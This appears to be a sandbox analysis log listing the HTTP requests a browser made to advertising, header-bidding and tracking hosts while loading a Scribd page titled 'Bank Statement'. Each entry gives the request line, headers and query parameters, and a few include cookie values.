Source: global traffic	HTTP traffic detected: POST /v1/openrtb HTTP/1.1Host: ex.ingage.techConnection: keep-aliveContent-Length: 1649sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: application/jsonAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/u/matches/474?_it=freestar HTTP/1.1Host: a.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /v1.0/parent/4d97a662ad/engagement/trigger/page_load HTTP/1.1Host: pb-ing.ccgateway.netConnection: keep-aliveContent-Length: 400sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: application/jsonAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /aax2/apstag.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /out-4.5.44.js HTTP/1.1Host: m.stripe.networkConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://m.stripe.network/inner.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /live/liveView.php?s=115858&cbuster=1739863205&pubUrl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&x=400&y=272&playerApiId=freestarPrimisPlayer&schain=1.0,1!freestar.com,1651,1 HTTP/1.1Host: live.primis.techConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.9016236170931973 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /quant.js HTTP/1.1Host: secure.quantserve.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v1/hadron.json?_it=freestar&partner_id=474&sync=0&domain=www.scribd.com&url=https://www.scribd.com/document/806838445/Bank-Statement&v=06 HTTP/1.1Host: id.hadron.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/jsonAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /country?o=5714937848528896 HTTP/1.1Host: api.btloader.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /hbjson HTTP/1.1Host: grid.bidswitch.netConnection: keep-aliveContent-Length: 1517sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /prebid/multi/66bccd47a52481685a6ab90d HTTP/1.1Host: prebid.cootlogix.comConnection: keep-aliveContent-Length: 1363sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=9MI14eiyeLlIybvGwTPHksJBD4YJxwQBWVND3JTWk0AdVR5TQAUdBQwZgYMHVd8D3pOVxRlW3ZmUQgYAShUKxhREiVPYjYECEgEe1UoTwBUa1VhNlYMTVV0VSobVUEmQWRgVF4aBnhZLU1AWmVBZTRRXElUeF96S1ZFJkdkYVJZHAN7CipbTlRyEWdlVgwfUyhbfU1TFXdHZWcBChxSLwhrVUBAcURkMVddHF14CX0dVU8mTmxoAQxNUXhOFFVAFSgCOiRHU0lJbgstCRBUfQwpfEcaHBY%2FBSYXQExlTjFoBg9IBypBKEADR2pPNmhRRBgDL1VkS1NHIxQyZVZRSVQoTmVbARkpGTEzEQAWCwUIa0NAQHBPNWJXW01ceV5%2FTFtCcBZiYgReSV0tTjQ%3D
Source: global traffic	HTTP traffic detected: GET /ats-modules/6ff45175-4a3f-453a-8ee5-b2b22dd6355c/ats.js HTTP/1.1Host: ats-wrapper.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/prebid?pbav=9.23.0&p=%5B%7B%22placement_id%22%3A%22scribd_incontent_mrec_1--2%22%2C%22callback_id%22%3A%22820dd97df209c29%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%2C%5B250%2C250%5D%2C%5B300%2C100%5D%2C%5B200%2C200%5D%2C%5B120%2C240%5D%2C%5B300%2C50%5D%2C%5B180%2C150%5D%2C%5B234%2C60%5D%5D%2C%22ym_placement_id%22%3A%223316241398931333203%22%2C%22gpid%22%3A%22%2F22797863291%2Fscribd_incontent_mrec_1%22%2C%22tid%22%3A%22ddb922b3-bd7e-4e77-bb97-1d00869cbcdb%22%2C%22auctionId%22%3A%22ec533ece-d1b5-4089-8ba4-85859ce36b86%22%7D%5D&page_url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&bust=1739863207476&dnt=false&description=Bank%20Statement%20-%20Free%20download%20as%20PDF%20File%20(.pdf)%2C%20Text%20File%20(.txt)%20or%20read%20online%20for%20free.%20&tmax=3000&userConsent=%7B%22gdprApplies%22%3A%22%22%2C%22cmp%22%3A%22%22%2C%22gpp%22%3A%22%22%2C%22gpp_sid%22%3A%5B%5D%7D&us_privacy=1-N-&pr=&scrd=1&title=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&w=1232&h=910&schain=%7B%22ver%22%3A%221.0%22%2C%22complete%22%3A1%2C%22nodes%22%3A%5B%7B%22asi%22%3A%22freestar.com%22%2C%22sid%22%3A%221651%22%2C%22hp%22%3A1%7D%5D%7D HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /openrtb_2_5/pbjs/auction/request?profileId=207&av=37&wv=9.23.0&cb=9277932176&lsavail=1&networkId=6097 HTTP/1.1Host: grid-bidder.criteo.comConnection: keep-aliveContent-Length: 1924sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /translator?source=prebid-client HTTP/1.1Host: hbopenbid.pubmatic.comConnection: keep-aliveContent-Length: 2154sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1743sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /ut/v3/prebid HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveContent-Length: 1215sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1744sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /j?dtstmp=1739863205766&did=did-0047&se=e30&duid=4b59e25de34b--01jmbyv9c0rf4g5m4sqh1c9y52&tv=9.23.0&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&wpn=prebid&cd=.scribd.com&n3pc=true HTTP/1.1Host: rp.liadm.comConnection: keep-aliveAccept: /Access-Control-Request-Method: GETAccess-Control-Request-Headers: x-li-provided-user-agentOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863207535&to=300&aun=scribd_incontent_mrec_1--2&gpid=%2F22797863291%2Fscribd_incontent_mrec_1&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=300&maxh=250&si=1016133&pi=3&bf=300x250%2C250x250%2C300x100%2C200x200%2C120x240%2C300x50%2C180x150%2C234x60&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /v1/openrtb HTTP/1.1Host: ex.ingage.techConnection: keep-aliveContent-Length: 1680sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: application/jsonAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863207536&to=300&aun=scribd_incontent_mrec_1--2&gpid=%2F22797863291%2Fscribd_incontent_mrec_1&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=300&maxh=250&si=1016132&pi=3&bf=300x250%2C250x250%2C300x100%2C200x200%2C120x240%2C300x50%2C180x150%2C234x60&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /header/auction?lib=prebid&v=9.23.0&referrer=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tmax=3000&us_privacy=1-N- HTTP/1.1Host: tlx.3lift.comConnection: keep-aliveContent-Length: 4733sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: POST /hb-multi HTTP/1.1Host: hb.yellowblue.ioConnection: keep-aliveContent-Length: 1767sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /hb?pid=3617&domain=scribd.com&ccpa=1-N- HTTP/1.1Host: hb.undertone.comConnection: keep-aliveContent-Length: 742sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /rtb/bid?src=prebid_prebid_9.23.0 HTTP/1.1Host: ap.lijit.comConnection: keep-aliveContent-Length: 2290sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /a/api/fastlane.json?account_id=16924&site_id=499626&zone_id=2978060&size_id=15&alt_size_ids=13%2C14%2C19%2C44&us_privacy=1-N-&rp_schain=1.0,1!freestar.com,1651,1,,,&rf=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_v.id=6153141f-7ee9-4f73-a36b-ee3a444bcc92&tg_i.domain=scribd.com&tg_i.page=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_i.name=scribd-com&tg_i.cat=IAB5&tg_i.sectioncat=IAB5&tg_i.pagecat=IAB5&tg_i.mobile=0&tg_i.fs_optimized=false&tg_i.fs_site=6111&tg_i.fs_ad_product=banner&tg_i.pbadslot=%2F22797863291%2Fscribd_incontent_mrec_1&tk_flint=pbjs_lite_v9.23.0&x_source.tid=ec533ece-d1b5-4089-8ba4-85859ce36b86&l_pb_bid_id=1063c782a52f633e&p_screen_res=1280x1024&rp_secure=1&x_imp.ext.tid=ddb922b3-bd7e-4e77-bb97-1d00869cbcdb&p_site.mobile=0&rp_maxbids=1&p_gpid=%2F22797863291%2Fscribd_incontent_mrec_1&m_ch_ua=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_full_ver=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_mobile=%3F0&m_ch_platform=Windows&slots=1&rand=0.7114350854766698 HTTP/1.1Host: fastlane.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
